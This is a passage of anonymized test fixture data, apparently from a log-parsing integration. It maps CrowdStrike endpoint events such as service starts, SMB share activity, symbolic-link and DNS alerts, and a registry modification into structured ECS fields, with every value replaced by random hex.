"{\"event_simpleName\":\"SensitiveWmiQuery\",\"UserName\":\"207ef664\\\\d621c1\",\"ConfigStateHash\":\"2069001378\",\"ContextProcessId\":\"2600380079010\",\"aip\":\"81.2.69.142\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"WmiQuery\":\"8d8f8ea22b6bfbe801ecaaba1425c6a9d7\",\"ClientComputerName\":\"9b0f0662\",\"Entitlements\":\"96\",\"name\":\"887f1bbf3206d18c959\",\"EventOrigin\":\"1\",\"id\":\"272b6e237d25b3c937239259405719619f9c\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"cfe278fcd1e293c7afdf3f1753b2d89e\",\"WmiNamespaceName\":\"4813\\\\155e1\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", - "outcome": "success", - "type": [ - "info" - ] - }, - "host": { - "id": "cfe278fcd1e293c7afdf3f1753b2d89e", - "os": { - "type": "windows" - } - }, - "message": "SensitiveWmiQuery", - "observer": { - "address": [ - "81.2.69.142" - ], - "geo": { - "city_name": "London", - "continent_name": "Europe", - "country_iso_code": "GB", - "country_name": "United Kingdom", - "location": { - "lat": 51.5142, - "lon": -0.0931 - }, - "region_iso_code": "GB-ENG", - "region_name": "England" - }, - "ip": [ - "81.2.69.142" - ], - "serial_number": "cfe278fcd1e293c7afdf3f1753b2d89e", - "version": "2c8b.4.ae3729d.e6" - }, - "process": { - "entity_id": "2600380079010" - }, - "related": { - "hash": [ - "2069001378" - ], - "hosts": [ - "9b0f0662" - ], - "ip": [ - "81.2.69.142" - ], - "user": [ - "207ef664\\d621c1" - ] - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "name": "207ef664\\d621c1" - } - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "AuthenticationId": "830", - "ConfigStateHash": "240271348", - "ContextTimeStamp": "2025-07-15T05:39:35.986Z", - "EffectiveTransmissionClass": "3", - "Entitlements": "76", - "EventOrigin": "45", - "InterfaceGuid": "b3f8252aa9cc6427351d20c3f33d3ae79e2e", - "InterfaceVersion": "510063", - "RpcClientProcessId": "5080050038080", - "RpcClientThreadId": "208220707353715", - "RpcNestingLevel": "0", - "RpcOpNum": "94", - "TokenType": "1", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "8b25e606b146b0ecb0d734dc9eedcd5ef49f", - "name": "e9599fcf8f9c5676" - }, - "device": { - "id": "8fb3daf730de8e73c353f0c4137a51b5" - }, - "event": { - "action": "ServiceStarted", - "category": [ - "process" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "8b25e606b146b0ecb0d734dc9eedcd5ef49f|8fb3daf730de8e73c353f0c4137a51b5|4092825518eaf67377a6e4492ae44577", - "kind": "event", - "original": "{\"aip\":\"81.2.69.144\",\"event_platform\":\"Win\",\"TokenType\":\"1\",\"EventOrigin\":\"45\",\"InterfaceGuid\":\"b3f8252aa9cc6427351d20c3f33d3ae79e2e\",\"RpcClientProcessId\":\"5080050038080\",\"id\":\"8b25e606b146b0ecb0d734dc9eedcd5ef49f\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"ServiceStarted\",\"ContextTimeStamp\":\"1752557975.986\",\"UserName\":\"9ce650c90\",\"ConfigStateHash\":\"240271348\",\"InterfaceVersion\":\"510063\",\"RpcClientThreadId\":\"208220707353715\",\"AuthenticationId\":\"830\",\"ServiceDisplayName\":\"b0f9460\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"CommandLine\":\"7f4e00945ff9549f18b040b9d6c84c6 -2 1c2833 -5 -9 b0f9460\",\"TargetProcessId\":\"4007891768902\",\"ImageFileName\":\"\\\\6ba0bd\\\\447b992c\\\\d598026\\\\dc9ec376\\\\177d568.exe\",\"RpcOpNum\":\"94\",\"Entitlements\":\"76\",\"name\":\"e9599fcf8f9c5676\",\"aid\":\"8fb3daf730de8e73c353f0c4137a51b5\",\"RpcNestingLevel\":\"0\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", - "outcome": "success", - "type": [ - "start" - ] - }, - "host": { - "id": "8fb3daf730de8e73c353f0c4137a51b5", - "os": { - "type": "windows" - } - }, - "message": "ServiceStarted", - "observer": { - "address": [ - "81.2.69.144" - ], - "geo": { - "city_name": "London", - "continent_name": "Europe", - "country_iso_code": "GB", - "country_name": "United Kingdom", - "location": { - "lat": 51.5142, - "lon": -0.0931 - }, - "region_iso_code": "GB-ENG", - "region_name": "England" - }, - "ip": [ - "81.2.69.144" - ], - "serial_number": "8fb3daf730de8e73c353f0c4137a51b5", - "version": "2c8b.4.ae3729d.e6" - }, - "process": { - "args": [ - "7f4e00945ff9549f18b040b9d6c84c6", - "-2", - "1c2833", - "-5", - "-9", - "b0f9460" - ], - "args_count": 6, - "command_line": "7f4e00945ff9549f18b040b9d6c84c6 -2 1c2833 -5 -9 b0f9460", - "entity_id": "4007891768902", - "executable": "\\6ba0bd\\447b992c\\d598026\\dc9ec376\\177d568.exe", - "name": "177d568.exe", - "title": "b0f9460" - }, - "related": { - "hash": [ - "240271348" - ], - "ip": [ - "81.2.69.144" - ], - "user": [ - "9ce650c90" - ] - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "name": "9ce650c90" - } - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "AuthenticationId": "830", - "ConfigStateHash": "9080101000", - "ContextBaseFileName": "511ab7", - "ContextProcessId": "107208055010", - "ContextTimeStamp": "2025-10-21T20:48:29.477Z", - "EffectiveTransmissionClass": "3", - "Entitlements": "56", - "EventOrigin": "1", - "FileCategory": "1", - "FileEcpBitmask": "0", - "FileObject": "0", - "FileOperatorSid": "S-39243-24597-72335", - "FileWrittenFlags": "0", - "IrpFlags": "0", - "IsOnNetwork": "0", - "IsOnRemovableDisk": "0", - "MajorFunction": "0", - "MinorFunction": "0", - "OperationFlags": "0", - "TokenType": "1", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "1c2cb8d06c607d68fcb2877b0e000a683739", - "name": "d4fd2d5cb305a8abdd140a" - }, - "device": { - "id": "61cace3ec102dbde6e5eb08963b52e9c" - }, - "event": { - "action": "creation", - "category": [ - "file" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "1c2cb8d06c607d68fcb2877b0e000a683739|61cace3ec102dbde6e5eb08963b52e9c|4092825518eaf67377a6e4492ae44577", - "kind": "event", - "original": "{\"FileOperatorSid\":\"S-39243-24597-72335\",\"ContextBaseFileName\":\"511ab7\",\"FileCategory\":\"1\",\"Size\":\"8200405\",\"ContextThreadId\":\"90605908807000\",\"MinorFunction\":\"0\",\"aip\":\"81.2.69.144\",\"IsOnNetwork\":\"0\",\"FileIdentifier\":\"064619a017259a2de5b5a7a60da71f28010aaa5134a07dc8\",\"event_platform\":\"Win\",\"TokenType\":\"1\",\"EventOrigin\":\"1\",\"DiskParentDeviceInstanceId\":\"835\\\\b9e65ff8\\\\fb6901a4\",\"id\":\"1c2cb8d06c607d68fcb2877b0e000a683739\",\"FileObject\":\"0\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"SevenZipFileWritten\",\"ContextTimeStamp\":\"1761079709.477\",\"ConfigStateHash\":\"9080101000\",\"ContextProcessId\":\"107208055010\",\"IrpFlags\":\"0\",\"AuthenticationId\":\"830\",\"FileWrittenFlags\":\"0\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"FileEcpBitmask\":\"0\",\"MajorFunction\":\"0\",\"IsOnRemovableDisk\":\"0\",\"Entitlements\":\"56\",\"name\":\"d4fd2d5cb305a8abdd140a\",\"OperationFlags\":\"0\",\"aid\":\"61cace3ec102dbde6e5eb08963b52e9c\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\6ba0bd\\\\3edfbf1f\\\\ec1d12b\\\\e80c39c\\\\7d0c653b.tmp\"}", - "outcome": "success", - "type": [ - "creation" - ] - }, - "file": { - "device": "835\\b9e65ff8\\fb6901a4", - "directory": "\\6ba0bd\\3edfbf1f\\ec1d12b\\e80c39c", - "extension": "tmp", - "inode": "064619a017259a2de5b5a7a60da71f28010aaa5134a07dc8", - "name": "7d0c653b.tmp", - "path": "\\6ba0bd\\3edfbf1f\\ec1d12b\\e80c39c\\7d0c653b.tmp", - "size": 8200405, - "type": "file" - }, - "host": { - "id": "61cace3ec102dbde6e5eb08963b52e9c", - "os": { - "type": "windows" - } - }, - "message": "SevenZipFileWritten", - "observer": { - "address": [ - "81.2.69.144" - ], - "geo": { - "city_name": "London", - "continent_name": "Europe", - "country_iso_code": "GB", - "country_name": "United Kingdom", - "location": { - "lat": 51.5142, - "lon": -0.0931 - }, - "region_iso_code": "GB-ENG", - "region_name": "England" - }, - "ip": [ - "81.2.69.144" - ], - "serial_number": "61cace3ec102dbde6e5eb08963b52e9c", - "version": "2c8b.4.ae3729d.e6" - }, - "process": { - "entity_id": "107208055010", - "name": "511ab7", - "thread": { - "id": 90605908807000 - } - }, - "related": { - "hash": [ - "9080101000" - ], - "ip": [ - "81.2.69.144" - ], - "user": [ - "S-39243-24597-72335" - ] - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "id": "S-39243-24597-72335" - } - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "ClientComputerName": "6cfc77d1a6", - "ConfigStateHash": "9968901000", - "EffectiveTransmissionClass": "3", - "Entitlements": "26", - "EventOrigin": "45", - "SmbShareName": "967ec0f7", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "56cb5eb3321a430b24ba0bebef0335c0abf6", - "name": "0e883005214e1c97be512a900" - }, - "device": { - "id": "f7e49d5e0a65ac9907089989782717df" - }, - "event": { - "action": "SmbClientShareClosedEtw", - "category": [ - "network" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "56cb5eb3321a430b24ba0bebef0335c0abf6|f7e49d5e0a65ac9907089989782717df|4092825518eaf67377a6e4492ae44577", - "kind": "event", - "original": "{\"event_simpleName\":\"SmbClientShareClosedEtw\",\"ConfigStateHash\":\"9968901000\",\"aip\":\"216.160.83.56\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"ClientComputerName\":\"6cfc77d1a6\",\"Entitlements\":\"26\",\"name\":\"0e883005214e1c97be512a900\",\"EventOrigin\":\"45\",\"id\":\"56cb5eb3321a430b24ba0bebef0335c0abf6\",\"SmbShareName\":\"967ec0f7\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"f7e49d5e0a65ac9907089989782717df\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", - "outcome": "success", - "type": [ - "connection", - "end" - ] - }, - "host": { - "id": "f7e49d5e0a65ac9907089989782717df", - "os": { - "type": "windows" - } - }, - "message": "SmbClientShareClosedEtw", - "observer": { - "address": [ - "216.160.83.56" - ], - "geo": { - "city_name": "Milton", - "continent_name": "North America", - "country_iso_code": "US", - "country_name": "United States", - "location": { - "lat": 47.2513, - "lon": -122.3149 - }, - "region_iso_code": "US-WA", - "region_name": "Washington" - }, - "ip": [ - "216.160.83.56" - ], - "serial_number": "f7e49d5e0a65ac9907089989782717df", - "version": "2c8b.4.ae3729d.e6" - }, - "related": { - "hash": [ - "9968901000" - ], - "hosts": [ - "6cfc77d1a6" - ], - "ip": [ - "216.160.83.56" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "ClientComputerName": "e747bc", - "ConfigStateHash": "804061009", - "EffectiveTransmissionClass": "3", - "Entitlements": "36", - "EventOrigin": "45", - "SmbShareName": "a4d268", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "be306cd8d3b6946b7798e88271cbf77dee2b", - "name": "d226521607b20089974fab726" - }, - "device": { - "id": "e7e98921e91425b34501d7e91f6906b7" - }, - "event": { - "action": "SmbClientShareOpenedEtw", - "category": [ - "network" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "be306cd8d3b6946b7798e88271cbf77dee2b|e7e98921e91425b34501d7e91f6906b7|4092825518eaf67377a6e4492ae44577", - "kind": "event", - "original": "{\"event_simpleName\":\"SmbClientShareOpenedEtw\",\"ConfigStateHash\":\"804061009\",\"aip\":\"216.160.83.56\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"ClientComputerName\":\"e747bc\",\"Entitlements\":\"36\",\"name\":\"d226521607b20089974fab726\",\"EventOrigin\":\"45\",\"id\":\"be306cd8d3b6946b7798e88271cbf77dee2b\",\"SmbShareName\":\"a4d268\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"e7e98921e91425b34501d7e91f6906b7\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", - "outcome": "success", - "type": [ - "connection", - "start" - ] - }, - "host": { - "id": "e7e98921e91425b34501d7e91f6906b7", - "os": { - "type": "windows" - } - }, - "message": "SmbClientShareOpenedEtw", - "observer": { - "address": [ - "216.160.83.56" - ], - "geo": { - "city_name": "Milton", - "continent_name": "North America", - "country_iso_code": "US", - "country_name": "United States", - "location": { - "lat": 47.2513, - "lon": -122.3149 - }, - "region_iso_code": "US-WA", - "region_name": "Washington" - }, - "ip": [ - "216.160.83.56" - ], - "serial_number": "e7e98921e91425b34501d7e91f6906b7", - "version": "2c8b.4.ae3729d.e6" - }, - "related": { - "hash": [ - "804061009" - ], - "hosts": [ - "e747bc" - ], - "ip": [ - "216.160.83.56" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "ConfigStateHash": "50820000", - "EffectiveTransmissionClass": "3", - "Entitlements": "86", - "EventOrigin": "45", - "SmbShareName": "d1", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "73dd5ae007d4fa5b059b77f3a112dd87b35f", - "name": "e1b2ed2cbfccda3de1aa6adee" - }, - "destination": { - "address": "2a02:cf40::1", - "domain": "c53", - "geo": { - "continent_name": "Europe", - "country_iso_code": "NO", - "country_name": "Norway", - "location": { - "lat": 62.0, - "lon": 10.0 - } - }, - "ip": "2a02:cf40::1" - }, - "device": { - "id": "f5f8341524ed1dd257646890be631aee" - }, - "event": { - "action": "SmbServerShareOpenedEtw", - "category": [ - "network" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "73dd5ae007d4fa5b059b77f3a112dd87b35f|f5f8341524ed1dd257646890be631aee|4092825518eaf67377a6e4492ae44577", - "kind": "event", - "original": "{\"event_simpleName\":\"SmbServerShareOpenedEtw\",\"UserName\":\"07d8f4d\",\"RemoteAddressIP6\":\"2a02:cf40::1\",\"ConfigStateHash\":\"50820000\",\"DomainName\":\"c53\",\"aip\":\"81.2.69.144\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"Entitlements\":\"86\",\"name\":\"e1b2ed2cbfccda3de1aa6adee\",\"EventOrigin\":\"45\",\"id\":\"73dd5ae007d4fa5b059b77f3a112dd87b35f\",\"SmbShareName\":\"d1\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"f5f8341524ed1dd257646890be631aee\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", - "outcome": "success", - "type": [ - "connection", - "start" - ] - }, - "host": { - "id": "f5f8341524ed1dd257646890be631aee", - "os": { - "type": "windows" - } - }, - "message": "SmbServerShareOpenedEtw", - "observer": { - "address": [ - "81.2.69.144" - ], - "geo": { - "city_name": "London", - "continent_name": "Europe", - "country_iso_code": "GB", - "country_name": "United Kingdom", - "location": { - "lat": 51.5142, - "lon": -0.0931 - }, - "region_iso_code": "GB-ENG", - "region_name": "England" - }, - "ip": [ - "81.2.69.144" - ], - "serial_number": "f5f8341524ed1dd257646890be631aee", - "version": "2c8b.4.ae3729d.e6" - }, - "related": { - "hash": [ - "50820000" - ], - "ip": [ - "81.2.69.144", - "2a02:cf40::1" - ], - "user": [ - "07d8f4d" - ] - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "name": "07d8f4d" - } - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "ConfigStateHash": "4100830266", - "EffectiveTransmissionClass": "3", - "Entitlements": "76", - "EventOrigin": "45", - "SmbClientName": "43194ec065b", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "295a131e9dc1f5ef17daa6595049d55e40cf", - "name": "ba4a423304abd0ff28e43" - }, - "device": { - "id": "c3ecc304b2ebc8216508373e45b2b7c6" - }, - "event": { - "action": "SmbServerV1AuditEtw", - "category": [ - "network" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "295a131e9dc1f5ef17daa6595049d55e40cf|c3ecc304b2ebc8216508373e45b2b7c6|4092825518eaf67377a6e4492ae44577", - "kind": "state", - "original": "{\"event_simpleName\":\"SmbServerV1AuditEtw\",\"ConfigStateHash\":\"4100830266\",\"aip\":\"81.2.69.142\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"SmbClientName\":\"43194ec065b\",\"event_platform\":\"Win\",\"Entitlements\":\"76\",\"name\":\"ba4a423304abd0ff28e43\",\"EventOrigin\":\"45\",\"id\":\"295a131e9dc1f5ef17daa6595049d55e40cf\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"c3ecc304b2ebc8216508373e45b2b7c6\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", - "outcome": "unknown", - "type": [ - "connection" - ] - }, - "host": { - "id": "c3ecc304b2ebc8216508373e45b2b7c6", - "os": { - "type": "windows" - } - }, - "message": "SmbServerV1AuditEtw", - "observer": { - "address": [ - "81.2.69.142" - ], - "geo": { - "city_name": "London", - "continent_name": "Europe", - "country_iso_code": "GB", - "country_name": "United Kingdom", - "location": { - "lat": 51.5142, - "lon": -0.0931 - }, - "region_iso_code": "GB-ENG", - "region_name": "England" - }, - "ip": [ - "81.2.69.142" - ], - "serial_number": "c3ecc304b2ebc8216508373e45b2b7c6", - "version": "2c8b.4.ae3729d.e6" - }, - "related": { - "hash": [ - "4100830266" - ], - "ip": [ - "81.2.69.142" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "ContextProcessId": "5209000050507", - "ContextTimeStamp": "2025-08-05T12:02:22.498Z", - "EffectiveTransmissionClass": "3", - "Entitlements": "36", - "VolumeDeviceCharacteristics": "0", - "VolumeDeviceObjectFlags": "420270500", - "VolumeDeviceType": "8", - "VolumeEncryptionStatus": "0", - "VolumeFileSystemDevice": "\\e195", - "VolumeFileSystemDriver": "\\6b634d3d\\e195", - "VolumeFileSystemType": "2", - "VolumeIsEncrypted": "1", - "VolumeLabel": "d598026", - "VolumeName": "\\6ba0bd\\c1eb8062", - "VolumeRealDeviceName": "\\6ba0bd\\c1eb8062", - "VolumeSectorSize": "940", - "VolumeSessionUUID": "a3959a6c-5919-4ac3-a15a-2a320ad21a4e", - "VolumeSnapshotName": "\\6ba0bd\\447b992c", - "VolumeSnapshotTimeStamp": "1748508106.387", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "42736e4684d2a23274632e48769919984ae5", - "name": "2ab84c7f9e501a2854c7e357" - }, - "device": { - "id": "7bf30749173dbd091654e80c365263d2" - }, - "event": { - "action": "SnapshotVolumeMounted", - "category": [ - "host", - "configuration" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "42736e4684d2a23274632e48769919984ae5|7bf30749173dbd091654e80c365263d2|4092825518eaf67377a6e4492ae44577", - "kind": "event", - "original": "{\"VolumeSessionUUID\":\"a3959a6c-5919-4ac3-a15a-2a320ad21a4e\",\"ContextThreadId\":\"270025735200022\",\"aip\":\"89.160.20.112\",\"event_platform\":\"Win\",\"VolumeDeviceObjectFlags\":\"420270500\",\"VolumeFileSystemDevice\":\"\\\\e195\",\"VolumeSnapshotName\":\"\\\\6ba0bd\\\\447b992c\",\"VolumeIsEncrypted\":\"1\",\"VolumeFileSystemDriver\":\"\\\\6b634d3d\\\\e195\",\"VolumeDeviceCharacteristics\":\"0\",\"id\":\"42736e4684d2a23274632e48769919984ae5\",\"VolumeDeviceType\":\"8\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"SnapshotVolumeMounted\",\"VolumeName\":\"\\\\6ba0bd\\\\c1eb8062\",\"VolumeSnapshotTimeStamp\":\"1748508106.387\",\"ContextTimeStamp\":\"1754395342.498\",\"VolumeSectorSize\":\"940\",\"ContextProcessId\":\"5209000050507\",\"VolumeRealDeviceName\":\"\\\\6ba0bd\\\\c1eb8062\",\"VolumeLabel\":\"d598026\",\"ConfigBuild\":\"ad5.4.ae3729d.6\",\"VolumeEncryptionStatus\":\"0\",\"VolumeFileSystemType\":\"2\",\"Entitlements\":\"36\",\"name\":\"2ab84c7f9e501a2854c7e357\",\"aid\":\"7bf30749173dbd091654e80c365263d2\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", - "outcome": "success", - "type": [ - "change" - ] - }, - "host": { - "id": "7bf30749173dbd091654e80c365263d2", - "os": { - "type": "windows" - } - }, - "message": "SnapshotVolumeMounted", - "observer": { - "address": [ - "89.160.20.112" - ], - "geo": { - "city_name": "Linköping", - "continent_name": "Europe", - "country_iso_code": "SE", - "country_name": "Sweden", - "location": { - "lat": 58.4167, - "lon": 15.6167 - }, - "region_iso_code": "SE-E", - "region_name": "Östergötland County" - }, - "ip": [ - "89.160.20.112" - ], - "serial_number": "7bf30749173dbd091654e80c365263d2", - "version": "ad5.4.ae3729d.6" - }, - "process": { - "entity_id": "5209000050507", - "thread": { - "id": 270025735200022 - } - }, - "related": { - "ip": [ - "89.160.20.112" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "ConfigStateHash": "8200073020", - "ContextProcessId": "230000690074863000", - "ContextTimeStamp": "2025-10-21T08:14:33.549Z", - "DesiredAccess": "180051", - "EffectiveTransmissionClass": "3", - "Entitlements": "46", - "EventOrigin": "1", - "PatternId": "7000", - "Status": "0", - "SymbolicLinkName": "\\ae81c232\\6b8a", - "SymbolicLinkTarget": "\\f92fc8\\85d8d803\\f6dcb\\73d\\e8f27fd4", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "c5355e5f32b043d778a5628a9817ed603fe9", - "name": "6a8d935023cdc21ff9cca3537d2780" - }, - "device": { - "id": "c82cce517ab3200fde3ca362e648c993" - }, - "event": { - "action": "SuspiciousCreateSymbolicLink", - "category": [ - "file" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "c5355e5f32b043d778a5628a9817ed603fe9|c82cce517ab3200fde3ca362e648c993|4092825518eaf67377a6e4492ae44577", - "kind": "alert", - "original": "{\"Status\":\"0\",\"event_simpleName\":\"SuspiciousCreateSymbolicLink\",\"ContextTimeStamp\":\"1761034473.549\",\"SymbolicLinkName\":\"\\\\ae81c232\\\\6b8a\",\"ConfigStateHash\":\"8200073020\",\"ContextProcessId\":\"230000690074863000\",\"aip\":\"216.160.83.56\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"CommandLine\":\"54d\\\\8027a4f5\\\\1a2e21\\\\1fb\\\\51a\\\\5c8f1a6.exe\\\"\",\"SymbolicLinkTarget\":\"\\\\f92fc8\\\\85d8d803\\\\f6dcb\\\\73d\\\\e8f27fd4\",\"DesiredAccess\":\"180051\",\"PatternId\":\"7000\",\"ImageFileName\":\"\\\\6ba0bd\\\\3edfbf1f\\\\8027a4f5\\\\1a2e21\\\\1fb\\\\51a\\\\21c4c94.exe\",\"Entitlements\":\"46\",\"name\":\"6a8d935023cdc21ff9cca3537d2780\",\"EventOrigin\":\"1\",\"id\":\"c5355e5f32b043d778a5628a9817ed603fe9\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"c82cce517ab3200fde3ca362e648c993\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", - "outcome": "success", - "type": [ - "creation", - "info" - ] - }, - "host": { - "id": "c82cce517ab3200fde3ca362e648c993", - "os": { - "type": "windows" - } - }, - "message": "SuspiciousCreateSymbolicLink", - "observer": { - "address": [ - "216.160.83.56" - ], - "geo": { - "city_name": "Milton", - "continent_name": "North America", - "country_iso_code": "US", - "country_name": "United States", - "location": { - "lat": 47.2513, - "lon": -122.3149 - }, - "region_iso_code": "US-WA", - "region_name": "Washington" - }, - "ip": [ - "216.160.83.56" - ], - "serial_number": "c82cce517ab3200fde3ca362e648c993", - "version": "2c8b.4.ae3729d.e6" - }, - "process": { - "args": [ - "54d\\8027a4f5\\1a2e21\\1fb\\51a\\5c8f1a6.exe" - ], - "args_count": 1, - "command_line": "54d\\8027a4f5\\1a2e21\\1fb\\51a\\5c8f1a6.exe\"", - "entity_id": "230000690074863000", - "executable": "\\6ba0bd\\3edfbf1f\\8027a4f5\\1a2e21\\1fb\\51a\\21c4c94.exe", - "name": "21c4c94.exe" - }, - "related": { - "hash": [ - "8200073020" - ], - "ip": [ - "216.160.83.56" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "ConfigStateHash": "4080600092", - "ContextProcessId": "5004051100005", - "ContextTimeStamp": "2025-05-24T14:32:51.316Z", - "DualRequest": "1", - "EffectiveTransmissionClass": "3", - "Entitlements": "76", - "EventOrigin": "1", - "InterfaceIndex": 0, - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "8d4c70642deafa7c185dae1766913cc2b684", - "name": "cecd6d00633889a0e5140e" - }, - "device": { - "id": "e0391be8776b91e27451ffc78839341a" - }, - "dns": { - "question": { - "name": "da624cbc09cb196e3c026", - "type": "CDS" - }, - "type": "query" - }, - "event": { - "action": "SuspiciousDnsRequest", - "category": [ - "network" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "8d4c70642deafa7c185dae1766913cc2b684|e0391be8776b91e27451ffc78839341a|4092825518eaf67377a6e4492ae44577", - "kind": "alert", - "original": "{\"event_simpleName\":\"SuspiciousDnsRequest\",\"ContextTimeStamp\":\"1748097171.316\",\"ConfigStateHash\":\"4080600092\",\"ContextProcessId\":\"5004051100005\",\"DomainName\":\"da624cbc09cb196e3c026\",\"ContextThreadId\":\"306930070760507\",\"aip\":\"216.160.83.56\",\"InterfaceIndex\":\"0\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"DualRequest\":\"1\",\"Entitlements\":\"76\",\"name\":\"cecd6d00633889a0e5140e\",\"EventOrigin\":\"1\",\"id\":\"8d4c70642deafa7c185dae1766913cc2b684\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"e0391be8776b91e27451ffc78839341a\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"RequestType\":\"59\"}", - "outcome": "success", - "type": [ - "start", - "protocol" - ] - }, - "host": { - "id": "e0391be8776b91e27451ffc78839341a", - "os": { - "type": "windows" - } - }, - "message": "SuspiciousDnsRequest", - "network": { - "protocol": "dns" - }, - "observer": { - "address": [ - "216.160.83.56" - ], - "geo": { - "city_name": "Milton", - "continent_name": "North America", - "country_iso_code": "US", - "country_name": "United States", - "location": { - "lat": 47.2513, - "lon": -122.3149 - }, - "region_iso_code": "US-WA", - "region_name": "Washington" - }, - "ip": [ - "216.160.83.56" - ], - "serial_number": "e0391be8776b91e27451ffc78839341a", - "version": "2c8b.4.ae3729d.e6" - }, - "process": { - "entity_id": "5004051100005", - "thread": { - "id": 306930070760507 - } - }, - "related": { - "hash": [ - "4080600092" - ], - "ip": [ - "216.160.83.56" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "ConfigStateHash": "9968901000", - "ContextProcessId": "6460070801000", - "ContextTimeStamp": "2025-06-26T22:19:46.666Z", - "EffectiveTransmissionClass": "3", - "Entitlements": "16", - "EventOrigin": "1", - "PatternId": "730", - "RegConfigClass": "40", - "RegConfigFlags": "0", - "RegConfigIndex": "1", - "RegConfigValueType": "0", - "RegObjectName": "\\85aaee17\\92b7\\79f42eec\\4f779032\\c7bac469\\d598026\\1f728162\\00d", - "RegOperationType": "1", - "RegStringValue": "5f20a496dc8 abc7e 14a2e558d6bf189c90709e05527870fad3d5d824c560 829462947afcd60b102 5385ab5330ba103afe7", - "RegType": "1", - "RegValueName": "2249bd3e5b556707004d9a368b5d3bdf235dff7662d9975c39f5df17", - "TargetCommandLineParameters": "8 829462947afcd60b102 5385ab5330ba103afe7", - "TargetSHA256HashData": "61f2a019c0fa12f061b4fed2c5d10a4a7165db190bbaf218fc58560b7d926462", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "6a3e0c317c79a163daff6f7ff43b0f8b638f", - "name": "d6768a557290bddc8f464a531" - }, - "device": { - "id": "f7e49d5e0a65ac9907089989782717df" - }, - "event": { - "action": "modification", - "category": [ - "malware", - "registry", - "configuration" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "6a3e0c317c79a163daff6f7ff43b0f8b638f|f7e49d5e0a65ac9907089989782717df|4092825518eaf67377a6e4492ae44577", - "kind": "alert", - "original": 